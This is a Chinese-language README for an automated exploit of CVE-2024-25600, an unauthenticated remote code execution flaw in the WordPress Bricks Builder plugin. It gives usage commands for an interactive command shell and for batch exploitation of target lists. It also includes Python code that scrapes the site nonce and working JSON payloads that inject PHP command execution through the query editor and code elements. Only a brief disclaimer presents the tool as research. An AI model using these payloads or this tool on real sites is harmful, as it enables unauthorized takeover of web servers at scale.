CVE-2024-25600 Exploit Tool 🚀
项目描述 📝
本项目是一个专门针对 WordPress Bricks Builder 插件中 CVE-2024-25600 漏洞的自动化利用工具。该漏洞允许未认证的攻击者在受影响的网站上执行远程代码,严重威胁网站安全。本工具通过自动获取 nonce 值并发送精心构造的请求,实现了对漏洞的自动化验证和利用,适用于安全研究人员进行渗透测试和漏洞评估。
功能特性 🌟
- 交互式模式:实时与目标网站交互,逐条执行系统命令 🕹️
- 批量扫描模式:从文件中读取多个目标 URL,批量检测和利用 📋
- 命令执行:在目标服务器上执行任意系统命令 ⚙️
- 多种 Payload 类型:支持
generic、carousel、container、code四种 Payload,适应不同 Bricks Builder 版本 🧰 - RCE 确认筛选:仅显示和记录确认存在 RCE 的目标 URL ✔️
- 详细输出控制:支持静默模式和美化输出,满足不同使用场景
安装指南 🛠️
系统要求
- Python 3.6+
- pip 包管理器
依赖库
requests
beautifulsoup4
rich
alive-progress
prompt-toolkit
安装步骤
- 克隆仓库到本地:
git clone https://github.com/your-repo/CVE-2024-25600.git
cd CVE-2024-25600
- 安装所需 Python 库:
pip install -r requirements.txt
使用说明 📖
交互式模式 🎮
对单个目标进行交互式命令执行:
python exploit.py -u https://target-website.com
进入交互模式后,可直接输入系统命令(如 id、whoami、ls -la),输入 exit 退出。
批量扫描模式 📊
- 准备目标列表文件(每行一个 URL):
https://site1.com
https://site2.com
http://site3.com
- 运行批量扫描:
python exploit.py -l targets.txt
- 仅显示确认存在 RCE 的目标:
python exploit.py -l targets.txt --only-rce
Payload 定制 🧰
指定不同的 Payload 类型以提高成功率:
python exploit.py -u https://target.com --payload-type generic
python exploit.py -u https://target.com --payload-type carousel
python exploit.py -u https://target.com --payload-type container
python exploit.py -u https://target.com --payload-type code
提示:
codePayload 在较旧版本的 Bricks Builder(如 1.8 版)上效果更好。
命令行参数说明
| 参数 | 说明 |
|---|---|
-u, --url | 目标网站的 URL |
-l, --list | 包含目标 URL 列表的文件路径 |
--only-rce | 仅显示和记录确认存在 RCE 的 URL |
--payload-type | Payload 类型:generic, carousel, container, code(默认:generic) |
--no-verbose | 禁用详细输出 |
--pretty | 启用美化输出 |
核心代码 💻
Code 类 - 漏洞利用核心
class Code:
def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
self.url = url
self.pretty = pretty
self.verbose = verbose
self.only_rce = only_rce
self.nonce = self.fetch_nonce()
self.payload_type = payload_type
def fetch_nonce(self):
"""从目标网站提取 nonce 值"""
try:
response = requests.get(self.url, verify=False, timeout=20)
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
script_tag = soup.find("script", id="bricks-scripts-js-extra")
if script_tag:
match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
if match:
return match.group(1)
except Exception:
pass
def send_request(self, postId="1", command="whoami"):
"""发送恶意请求执行命令"""
headers = {"Content-Type": "application/json"}
payload_command = f'throw new Exception(`{command}` . "END");'
base_element = {"postId": postId, "nonce": self.nonce}
query_settings = {
"useQueryEditor": True,
"queryEditor": payload_command,
}
payload_templates = {
"carousel": {
**base_element,
"element": {
"name": "carousel",
"settings": {"type": "posts", "query": query_settings}
},
},
# 其他 payload 类型...
}
# 发送请求并解析命令输出
Payload 模板示例
# Generic Payload
generic_payload = {
"postId": "1",
"nonce": nonce,
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": True,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}
# Code Payload(适用于旧版本)
code_payload = {
"postId": "1",
"nonce": nonce,
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": "<?php throw new Exception(`id`);?>"
}
}
}
参考资源 📖
关于 CVE-2024-25600 漏洞的详细信息,请参考 Snicco.io 的漏洞披露。
免责声明 ⚠️
本工具仅供教育和安全研究使用。未经授权对网站或网络进行入侵测试是违法和不道德的行为。使用者需自行承担相关法律责任。 6HFtX5dABrKlqXeO5PUv/yQapr7uPPibhKVyHx6VxSo=